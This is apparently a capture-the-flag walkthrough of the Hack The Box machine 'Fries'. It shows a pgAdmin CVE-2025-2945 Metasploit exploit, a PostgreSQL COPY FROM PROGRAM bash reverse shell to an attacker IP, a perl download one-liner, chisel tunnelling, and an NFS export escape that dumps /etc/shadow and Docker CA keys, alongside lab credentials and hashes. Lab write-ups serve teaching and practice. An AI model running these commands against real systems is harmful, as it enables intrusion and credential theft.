Hackthebox: Fries

Foued SAIDI Lv5

Overview

Fries is a hard-difficulty machine from Hack The Box that starts off as a Linux web host and ends on a Windows domain controller. We begin by fuzzing virtual hosts on fries.htb to uncover a Gitea instance, a pgAdmin panel and a PWM self-service portal. Using the credentials we’re given for d.cooper, we log into Gitea, read the initial commit and harvest the PostgreSQL credentials and the Flask secret key. Those creds get us into pgAdmin 4 v9.1.0, which is vulnerable to CVE-2025-2945, an authenticated Query Tool RCE that drops us inside the pgAdmin container. From there we leak PGADMIN_DEFAULT_PASSWORD out of the environment, register the backend database as an admin-owned server and abuse COPY FROM PROGRAM to pivot into the postgres container. Inside the container we discover the host is exporting /srv/web.fries.htb over NFS, so we tunnel ports 111 and 2049 back to our box with chisel, use nfs_analyze to escape the export and recover the root file handle, and then mount the entire host filesystem with fuse_nfs. That gives us the Docker daemon’s CA certificate and private key, which we use to forge a client certificate for the sysadm identity allowed by the authz-broker policy, talk to dockerd over TLS and docker cp the PWM container’s /config directory out. Cracking the bcrypt configPasswordHash from PwmConfiguration.xml gets us into the PWM configuration manager, where we rewrite ldap.serverUrls to point at our own machine and capture the cleartext LDAP bind of svc_infra with Responder. With a real domain account in hand, BloodHound shows svc_infra holds ReadGMSAPassword over gMSA_CA_prod$, whose NT hash we dump with netexec and use to WinRM in. That gMSA has ManageCA on fries-DC01-CA, so we chain ESC6 and ESC16 by flipping EDITF_ATTRIBUTESUBJECTALTNAME2 and adding szOID_NTDS_CA_SECURITY_EXT to the DisableExtensionList, then enroll a certificate as svc_infra with an arbitrary UPN and SID for the domain administrator, authenticate with it and pass the hash to own the DC.

Fries-info-card
Fries-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
PORT     STATE SERVICE       VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://fries.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-25 12:05:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
|_ssl-date: 2025-11-25T12:06:43+00:00; +6h59m34s from scanner time.
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Not valid before: 2025-06-01T22:06:09
|_Not valid after: 2026-06-01T22:06:09
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T12:06:42+00:00; +6h59m33s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
|_ssl-date: 2025-11-25T12:06:43+00:00; +6h59m34s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T12:06:42+00:00; +6h59m34s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
Aggressive OS guesses: Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.13 (85%), Linux 3.10 - 4.11 (85%), Linux 3.2 - 4.14 (85%), Linux 4.15 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m33s, deviation: 0s, median: 6h59m33s
| smb2-time:
| date: 2025-11-25T12:06:00
|_ start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 286.38 ms 10.10.16.1
2 520.38 ms 10.129.70.58

The scan is already telling us the whole story of the box. Nmap fingerprints the OS as Linux and we have OpenSSH plus nginx on 80 and 443, yet at the same time we’re looking at Kerberos on 88, LDAP on 389/636/3268/3269, SMB on 445 and WinRM on 5985 with Service Info: Host: DC01. In other words this single IP is fronting both a Linux web host and a Windows domain controller behind it, which means our foothold is going to be on the Linux side and our endgame is going to be Active Directory. The TLS certificate on 443 also leaks a hostname for us straight away, commonName=pwm.fries.htb, so we already know there is more than one vhost living on this nginx. Let’s add fries.htb to our /etc/hosts and go looking for the rest of them.

Virtual Host Enumeration

Since nginx redirects us to http://fries.htb/, name-based virtual hosting is in play and there are almost certainly more applications hiding behind Host headers. Let’s fuzz for them with ffuf, filtering out the 302 that the default vhost returns:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.fries.htb" -u "http://10.129.70.58" -fc 302

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.129.70.58
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.fries.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________

code [Status: 200, Size: 13591, Words: 1048, Lines: 272, Duration: 269ms]

We get a hit on code.fries.htb, which turns out to be a Gitea instance. This box gives us a set of starting credentials, and they work here:

[email protected]:D4LE11maan!!

Gitea Credential Harvesting

Once logged in we can browse the repositories. The README of the web application project spells out the infrastructure layout for us:

1
2
3
4
5
### đź›  Configuration

- Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db`
- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)
- Make sure the appropriate credentials and network routing are in place.

That hands us a second vhost, http://db-mgmt05.fries.htb, which redirects to http://db-mgmt05.fries.htb/login?next=/ and is a pgAdmin 4 install. The same d.cooper credentials get us in there as well.

The really valuable part of Gitea though is the git history. Developers commit .env files and then delete them in a later commit, but the blob is still in the repository. Looking at the initial commit be59cceb54b56f00778822395bdf656216ab4b9f we recover the database credentials and the Flask secret key:

1
2
3
4
5
6
7
8
9
|   |
|---|
|`DATABASE_URL=postgresql://root:[email protected]:5432/ps_db`|

| |
|---|
||

`SECRET_KEY=y0st528wn1idjk3b9a`

So we now know the backend PostgreSQL server is at 172.18.0.3:5432 with database ps_db and credentials root:PsqLR00tpaSS11. That 172.18.0.x addressing is the default Docker bridge network range, which is another hint that everything here is containerised.

pgAdmin Query Tool RCE (CVE-2025-2945)

pgAdmin has had a rough couple of years with RCE bugs, so let’s see what Metasploit has available for it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf > search pgadmin

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/pgadmin_binary_path_api 2024-03-28 excellent Yes pgAdmin Binary Path API RCE
1 exploit/multi/http/pgadmin_query_tool_authenticated 2025-04-03 excellent Yes pgAdmin Query Tool authenticated RCE (CVE-2025-2945)
2 exploit/multi/http/pgadmin_session_deserialization 2024-03-04 excellent Yes pgAdmin Session Deserialization RCE


Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/http/pgadmin_session_deserialization

msf >

CVE-2025-2945 is the interesting one here. The Query Tool passes user-supplied input into a Python eval() when validating binary paths and query data, so an authenticated user who can reach the SQL editor gets straight code execution as the pgAdmin process. We have both halves of what the module wants: valid pgAdmin web credentials for d.cooper, and valid PostgreSQL credentials for root on ps_db from the Gitea commit, so the module can spin up a working sqleditor session to trigger the bug through.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf > use exploit/multi/http/pgadmin_query_tool_authenticated
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set RHOSTS db-mgmt05.fries.htb
RHOSTS => db-mgmt05.fries.htb
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set USERNAME [email protected]
USERNAME => [email protected]
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set PASSWORD D4LE11maan!!
PASSWORD => D4LE11maan!!
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_USER root
DB_USER => root
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_PASS PsqLR00tpaSS11
DB_PASS => PsqLR00tpaSS11
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_NAME ps_db
DB_NAME => ps_db
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set LHOST 10.10.16.10
LHOST => 10.10.16.10
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set LPORT 9001
LPORT => 9001
msf exploit(multi/http/pgadmin_query_tool_authenticated) > exploit
[*] Started reverse TCP handler on 10.10.16.10:9001
[*] Running automatic check ("set AutoCheck false" to disable)

Firing it off confirms the version is affected and lands us a meterpreter session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf exploit(multi/http/pgadmin_query_tool_authenticated) > exploit
[*] Started reverse TCP handler on 10.10.16.10:9001
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[+] Successfully initialized sqleditor
[*] Exploiting the target...
[*] Sending stage (23408 bytes) to 10.129.70.58
[+] Received a 500 response from the exploit attempt, this is expected
[*] Meterpreter session 1 opened (10.10.16.10:9001 -> 10.129.70.58:49870) at 2025-11-25 00:54:13 -0500

meterpreter > getuid
Server username: pgadmin
meterpreter >

We are the pgadmin user inside the pgAdmin container.

Leaking pgAdmin Admin Credentials

The official dpage/pgadmin4 image is configured entirely through environment variables, including the bootstrap admin account, so the first thing worth doing in any container shell is dumping the environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
meterpreter > getuid
Server username: pgadmin
meterpreter > shell
Process 636 created.
Channel 1 created.

whoami
pgadmin
pwd
/pgadmin4
env
HOSTNAME=cb46692a4590
SHLVL=1
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/pgadmin
[email protected]
SERVER_SOFTWARE=gunicorn/22.0.0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OAUTHLIB_INSECURE_TRANSPORT=1
CORRUPTED_DB_BACKUP_FILE=
PWD=/pgadmin4
PGAPPNAME=pgAdmin 4 - CONN:2419885
PYTHONPATH=/pgadmin4

And there it is, PGADMIN_DEFAULT_EMAIL and PGADMIN_DEFAULT_PASSWORD give us the pgAdmin administrator: [email protected]:Friesf00Ds2025!!.

Pivoting to the PostgreSQL Container

Being the pgAdmin admin lets us register the backend database as a server we fully control, so let’s create a new server connection with the credentials we pulled out of the Gitea commit:

1
2
3
4
5
6
7
8
9
10
11

Host : `172.18.0.3`

Port : `5432`

Database : `ps_db`

Username : `root`

Password : PsqLR00tpaSS11

We’re connecting as the PostgreSQL superuser, which means COPY ... FROM PROGRAM is available to us. That statement runs an arbitrary shell command as the operating system account that owns the postgres process and pipes its output into a table, and it’s the classic way to turn superuser SQL access into command execution. Running this in the query tool gives us a shell:

1
2
3
4
5
DROP TABLE IF EXISTS pwn;

CREATE TABLE pwn(output text);

COPY pwn FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.16.10/9002 0>&1"';
1
2
3
4
5
6
7
8
9
10
11
$ rlwrap nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.70.58] 49802
bash: cannot set terminal process group (685): Inappropriate ioctl for device
bash: no job control in this shell
postgres@858fdf51af59:~/data$ whoami
whoami
postgres
postgres@858fdf51af59:~/data$


We’ve hopped from the pgAdmin container into the postgres container as the postgres user.

Discovering the NFS Export

From inside the postgres container, the Docker host itself sits at the gateway address 172.18.0.1. Probing it reveals that the host is running an NFS server, so let’s grab a static NFS client to poke at it. nfsclient is perfect for this since it’s a single Go binary.

The container is quite bare, but it does ship perl, so we can pull the binary down in-band without needing curl or wget:

1
2
postgres@858fdf51af59:/tmp$ perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new("10.10.16.10:8081");print $s "GET /nfsclient-linux-amd64 HTTP/1.0\r\n\r\n";while(<$s>){last if/^\r?\n$/}open F,">nfsclient";binmode F;print F while<$s>;close F'

Now we can enumerate the export. Notice that nfsclient lets us simply claim to be root:0:0, because NFS with sec=sys authentication trusts whatever UID and GID the client sends:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
postgres@858fdf51af59:/tmp$ ./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:0 ls
./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:0 ls
2025/11/25 13:13:49 4
[./nfsclient 172.18.0.1:/srv/web.fries.htb root:0:0 ls]
2025/11/25 13:13:49 host=172.18.0.1 target=/srv/web.fries.htb command=ls
2025/11/25 13:13:49 Connecting to 172.18.0.1:32777
2025/11/25 13:13:49 using random port 768 -> 32777
2025/11/25 13:13:49 Connecting to 172.18.0.1:2049
2025/11/25 13:13:49 using random port 955 -> 2049
2025/11/25 13:13:49 /srv/web.fries.htb fsinfo=&nfs.FSInfo{Attr:nfs.PostOpAttr{IsSet:false, Attr:nfs.Fattr{Type:0x0, FileMode:0x0, Nlink:0x0, UID:0x0, GID:0x0, Filesize:0x0, Used:0x0, SpecData:[2]uint32{0x0, 0x0}, FSID:0x0, Fileid:0x0, Atime:nfs.NFS3Time{Seconds:0x0, Nseconds:0x0}, Mtime:nfs.NFS3Time{Seconds:0x0, Nseconds:0x0}, Ctime:nfs.NFS3Time{Seconds:0x0, Nseconds:0x0}}}, RTMax:0x80000, RTPref:0x80000, RTMult:0x1000, WTMax:0x80000, WTPref:0x80000, WTMult:0x1000, DTPref:0x80000, Size:0xffffffff000, TimeDelta:nfs.NFS3Time{Seconds:0x1, Nseconds:0x0}, Properties:0x1b}
2025/11/25 13:13:49 root -> 0x0100070001000a00000000008a01da16c18a400cbc9b37e3567d3fba
2025/11/25 13:13:49 No EOF for dirents so calling back for more
2025/11/25 13:13:49 dirs:
+----------+------+----------+----------+------+
| FILENAME | UID | GID | MODE | SIZE |
+----------+------+----------+----------+------+
| shared | 0 | 0 | 0x52d580 | 4096 |
| .. | 0 | 0 | 0x52d580 | 0 |
| certs | 0 | 59605603 | 0x52d580 | 4096 |
| . | 655 | 0 | 0x52d580 | 4096 |
| webroot | 1000 | 1000 | 0x52d580 | 4096 |
+----------+------+----------+----------+------+
2025/11/25 13:13:49 Completed tests

There’s a certs directory in there, which is very promising. The proper tooling for attacking NFS lives on our Kali box though, so let’s tunnel the NFS ports back to ourselves with a chisel reverse tunnel:

1
2
3
postgres@858fdf51af59:/tmp$ 2025/11/25 13:21:30 client: Connecting to ws://10.10.16.10:8082
2025/11/25 13:21:33 client: Connected (Latency 580.2376ms)

1
2
3
4
5
6
7
$ ./chisel server -p 8082 -reverse 
2025/11/25 01:21:50 server: Reverse tunnelling enabled
2025/11/25 01:21:50 server: Fingerprint Nwv4h8qsuWLHdPZL2l4UIn1aB8uGki7BIwVXW8Z5nZ8=
2025/11/25 01:21:50 server: Listening on http://0.0.0.0:8082
2025/11/25 01:21:59 server: session#1: tun: proxy#R:111=>172.18.0.1:111: Listening
2025/11/25 01:21:59 server: session#1: tun: proxy#R:2049=>172.18.0.1:2049: Listening

With 111 and 2049 forwarded to 127.0.0.1, the host’s NFS server is now reachable locally.

Escaping the NFS Export

The tool we want here is the nfs-security-tooling suite from HvS Consulting. Let’s install it along with its FUSE dependencies:

1
2
sudo apt install pkg-config libfuse3-dev python3-dev pipx
pipx install git+https://github.com/hvs-consulting/nfs-security-tooling.git

nfs_analyze does something clever. An NFSv4 file handle for a Linux server encodes the filesystem identifier and the inode number of the exported directory. Since the server only checks that the handle is well-formed and not that the resulting path is actually inside the export, we can craft a handle pointing at the filesystem root inode and read anything on the volume. The tool automates that guessing for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
┌──(kali㉿kali)-[~]
└─$ nfs_analyze 127.0.0.1 /srv/web.fries.htb
Checking host 127.0.0.1
Supported protocol versions reported by portmap:
Protocol Versions
portmap 2, 3, 4
mountd 1, 2, 3
status monitor 2 1
nfs 3, 4
nfs acl 3
nfs lock manager 1, 3, 4
Error connecting to Mountd

Supported NFS versions reported by nfsd:
Version Supported
3 Yes
4.0 Yes
4.1 Yes
4.2 Yes

NFSv4 overview and auth methods (incomplete)
srv: pseudo
web.fries.htb: sys
shared: sys
certs: sys
webroot: sys

NFSv4 guessed exports (Linux only, may differ from /etc/exports):
Directory Auth methods Export file handle
/srv/web.fries.htb sys 0100070001000a00000000008a01da16c18a400cbc9b37e3567d3fba

NFSv4.1 Windows File Handle Signing: OK, server probably not Windows, Root file handle not as expected

Trying to escape exports
Export: /srv/web.fries.htb: file system type ext/xfs, parent: None, None
Escape successful, root directory listing:
lib64 mnt sys etc proc lib snap lost+found media tmp dev var .bash_history swap.img srv home libx32 bin root usr sbin lib32 opt boot run
Root file handle: 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000

GID of shadow group: 42
Content of /etc/shadow:
root:$y$j9T$yqbmFwMbHh7qoaRaY3jx..$FMFv9upB20J4yPWwAJxndkOA4zzrn5/Udv4BF9LbLq/:20239:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19589:0:99999:7:::
svc:$y$j9T$Y7j3MSqEJTcNTqSSVJRS2.$h0AFlCXKB9V0PZ.BIyZKSGR6WFJWlxIRiqK.JLOB4PD:20238:0:99999:7:::
lxd:!:19589::::::
_rpc:*:20234:0:99999:7:::
statd:*:20234:0:99999:7:::
dnsmasq:*:20234:0:99999:7:::
barman:*:20236:0:99999:7:::
sssd:*:20238:0:99999:7:::


Trying to guess server OS
OS Property Fulfilled
Linux File Handles start with 0x0100 Yes
Windows NFSv3 File handles are 32 bytes long No
Windows Only NFS versions 3 and 4.1 supported No
FreeBSD Mountd reports subnets without mask Unknown
NetApp netapp partner protocol supported No
HP-UX Only one request per TCP connection possible No

Final OS guess: Linux

Checking host /srv/web.fries.htb
Server does not support Portmap, skipping NFSv3 checks

No NFS server detected


Trying to guess server OS
OS Property Fulfilled
Linux File Handles start with 0x0100 Unknown
Windows NFSv3 File handles are 32 bytes long Unknown
Windows Only NFS versions 3 and 4.1 supported Unknown
FreeBSD Mountd reports subnets without mask Unknown
NetApp netapp partner protocol supported Unknown
HP-UX Only one request per TCP connection possible Unknown

Final OS guess: Unknown

The escape works and we get the root file handle 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000, along with a free dump of /etc/shadow. We can feed that handle straight to fuse_nfs with --manual-fh to mount the entire host filesystem:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ fusermount3 -u /tmp/mount

┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/mount

┌──(kali㉿kali)-[~]
└─$ fuse_nfs /tmp/mount 127.0.0.1 --uid 1000:6 --allow-write --manual-fh 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000

One important gotcha here, mounting as our unprivileged Kali user won’t let us read the root-owned files we care about. We need to run the whole thing as root and use --fake-uid so that the client presents UID 0 to the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
┌──(root㉿kali)-[~]
└─# nfs_analyze 127.0.0.1
Checking host 127.0.0.1
Supported protocol versions reported by portmap:
Protocol Versions
portmap 2, 3, 4
mountd 1, 2, 3
status monitor 2 1
nfs 3, 4
nfs acl 3
nfs lock manager 1, 3, 4
Error connecting to Mountd

Supported NFS versions reported by nfsd:
Version Supported
3 Yes
4.0 Yes
4.1 Yes
4.2 Yes

NFSv4 overview and auth methods (incomplete)
srv: pseudo
web.fries.htb: sys
shared: sys
certs: sys
webroot: sys

NFSv4 guessed exports (Linux only, may differ from /etc/exports):
Directory Auth methods Export file handle
/srv/web.fries.htb sys 0100070001000a00000000008a01da16c18a400cbc9b37e3567d3fba

NFSv4.1 Windows File Handle Signing: OK, server probably not Windows, Root file handle not as expected

Trying to escape exports
Export: /srv/web.fries.htb: file system type ext/xfs, parent: None, None
Escape successful, root directory listing:
lib64 mnt sys etc proc lib snap lost+found media tmp dev var .bash_history swap.img srv home libx32 bin root usr sbin lib32 opt boot run
Root file handle: 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000

GID of shadow group: 42
Content of /etc/shadow:
root:$y$j9T$yqbmFwMbHh7qoaRaY3jx..$FMFv9upB20J4yPWwAJxndkOA4zzrn5/Udv4BF9LbLq/:20239:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19589:0:99999:7:::
svc:$y$j9T$Y7j3MSqEJTcNTqSSVJRS2.$h0AFlCXKB9V0PZ.BIyZKSGR6WFJWlxIRiqK.JLOB4PD:20238:0:99999:7:::
lxd:!:19589::::::
_rpc:*:20234:0:99999:7:::
statd:*:20234:0:99999:7:::
dnsmasq:*:20234:0:99999:7:::
barman:*:20236:0:99999:7:::
sssd:*:20238:0:99999:7:::


Trying to guess server OS
OS Property Fulfilled
Linux File Handles start with 0x0100 Yes
Windows NFSv3 File handles are 32 bytes long No
Windows Only NFS versions 3 and 4.1 supported No
FreeBSD Mountd reports subnets without mask Unknown
NetApp netapp partner protocol supported No
HP-UX Only one request per TCP connection possible No

Final OS guess: Linux


1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# fusermount3 -u /tmp/mount

┌──(root㉿kali)-[~]
└─# fuse_nfs /tmp/mount 127.0.0.1 --fake-uid --allow-write --manual-fh 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000

Now the whole host filesystem is browsable under /tmp/mount:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb]
└─# tree
.
├── certs
├── shared
└── webroot
├── app
│   ├── __init__.py
│   ├── models.py
│   ├── __pycache__
│   │   ├── __init__.cpython-310.pyc
│   │   ├── __init__.cpython-311.pyc
│   │   ├── __init__.rustpython-01.pyc
│   │   ├── models.cpython-310.pyc
│   │   ├── models.cpython-311.pyc
│   │   ├── routes.cpython-310.pyc
│   │   └── routes.cpython-311.pyc
│   ├── routes.py
│   ├── static
│   │   ├── css
│   │   │   └── style.css
│   │   └── js
│   │   └── main.js
│   └── templates
│   ├── about.html
│   ├── base.html
│   ├── home.html
│   └── menu.html
├── docker-compose.yml
├── Dockerfile
├── docs
│   └── images
│   ├── docker-build.png
│   └── docker-ps.png
├── README.md
├── requirements.txt
└── run.py

12 directories, 23 files

Let’s pull out everything that looks useful, the certificates in particular:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb]
└─# cp ../../etc/passwd /tmp/fries_paswd

┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb]
└─# cp -r certs* ../../../certs

┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb]
└─# mkdir /tmp/fries_

┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb]
└─# cp -r certs* ../../../fries_certs

┌──(root㉿kali)-[/tmp/mount/srv/web.fries.htb]
└─# cp ../../etc/shadow ../../../fries_shadow

Forging a Docker Client Certificate

Looking at what we grabbed, the certs directory contains a full certificate authority, including the CA private key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
┌──(root㉿kali)-[/tmp/fries_certs/certs]
└─# ls
ca-key.pem ca.pem server-cert.pem server.csr server-key.pem server-openssl.cnf

